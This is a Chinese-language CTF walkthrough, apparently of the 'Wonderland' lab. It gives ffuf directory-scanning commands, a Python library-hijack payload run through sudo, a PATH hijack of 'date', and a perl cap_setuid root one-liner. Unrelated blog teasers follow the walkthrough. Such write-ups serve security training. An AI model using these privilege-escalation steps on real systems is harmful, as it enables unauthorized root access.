涉及,解密,扫描,横向移动,纵向移动

仙境

掉进兔子洞,进入仙境。

获得shell

解法一:

目录扫描

ffuf -u http://10.10.134.189/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c
ffuf -u http://10.10.134.189/r/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/i/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/i/t/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r

然后查看源码,会发现一个依据。

解法二:

查看源码时会发现/img目录,进入之后

然后主页也是

跟着白色走

可能会产生疑问,但是当你扫一次目录后明白了

shell提权

alice

当你ls发现目录下为root.txt时,就会知道这并不简单,根据提示这里的一切都是颠倒的。

很容易想到cat /root/user.txt
thm{"Curiouser and curiouser!"}

find虽然啥也没找到,但是sudo -l找到一个

查看python文件会发现使用了random库,ok
捏造一个
echo 'import os;os.system("/bin/bash")' > random.py
chmod +x random.py
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

此时就来到了

rabbit

cat 查看

Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Sat, 08 Apr 2023 07:54:53 +0000
Ask very nicely, and I will give you some tea while you wait for him

很明显用到了date,此时只需修改PATH,伪造一个date即可提权

咳咳,之前的笔记:https://www.cnblogs.com/-Lucky-/p/17195932.html

执行即可

此时来到了

hatter

发现密码

尝试使用此密码 ssh 为我们提供一个完整的 shell 作为用户hatter

接下来就嘎了

getcap -r / 2>/dev/null 命令用于递归地查找整个文件系统上所有带有特殊权限的文件,并将其输出到标准输出中。

/usr/bin/perl5.26.1 文件是 Perl 语言的解释器程序。cap_setuid+ep 是它的安全标志,其中 ep 表示可执行程序具有特权执行(privileged execution)权限,即在执行该程序时,进程的执行者可以提升自己的特权等级,而 cap_setuid 表示程序具有设置用户 ID 权限(setuid)的能力。

很幸运地在:https://gtfobins.github.io/gtfobins/perl/

找到了利用方法

/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

此时为root

随机推荐

  1. 【单元测试】Junit 4(八)--junit4 内置Rule

    1.0 Rules ​ Rules允许非常灵活地添加或重新定义一个测试类中每个测试方法的行为.测试人员可以重复使用或扩展下面提供的Rules之一,或编写自己的Rules. 1.1 TestName ​ ...

  2. linux使用汇总

    linux使用汇总 Linux的目录结构 没有逻辑磁盘分区(C盘.D盘...) 是一棵树形结构,根目录是/ 根目录下边有几个文件夹,需要我们了解: /etc:配置文件所在的文件夹.比如:安装JDK,配 ...

  3. Github Copilot 比在座各位更会写代码。jpg

    之前大佬和我安利过 Copilot, 作为一个能用就行的践行者, 我一贯对这些东西都不太感兴趣. 就如我多年VS Code写各种编程语言, jetbrains 全家桶我都懒得搞~ 不过最近看到过Cha ...

  4. python爬取猫眼电影Top100榜单的信息

    爬取并写入MySQL中 import pymysql import requests from bs4 import BeautifulSoup headers = { 'User-Agent': ' ...

  5. C#中的语句

    寄语 接下来几篇文章,将带领大家一起简单回顾下C#中常规的语法,也是平常我们在编码过程中都使用的. 今天来介绍下C#中的语句. 一般科班出身的程序猿们大家第一个学习语言基本都是C语言,C语言里面在刚开 ...

  6. Mac 音频转换器推荐 DRmare Audio Converter、Audi Free Auditor

    给大家推荐两款 Mac 上的音频转换器,这两款转换器都可以转换苹果音乐,iTunes歌曲或者一些常规的音轨到MP3, FLAC, WAV, M4A, AAC格式等等,转换后我们就可以在所有的设备和播放 ...

  7. python选出一定数量的随机文件到某个文件夹

    import os import random import shutil def move_file(target_path, save_path, number): file_list = os. ...

  8. TS(二)内置对象与class类

    内置对象 ECMA内置对象 Boolean.Number.String.RegExp.Date.Error const regexp:RegExp = /\w\d\s const number:Num ...

  9. Karmada v1.5发布:多调度组助力成本优化

    摘要:在最新发布的1.5版本中,Karmada 提供了多调度组的能力,利用该能力,用户可以实现将业务优先调度到成本更低的集群,或者在主集群故障时,优先迁移业务到指定的备份集群. 本文分享自华为云社区& ...

  10. Locust 任务类介绍

    前言: 任务:简单的理解就是,你想要你脚本的虚拟用户去做哪些事,比如请求某一个接口,或者执行某一个事件 用户:可以理解为,执这个任务的实例主体,或者在locust 中,也可以认为是一群蝗虫 一.Tas ...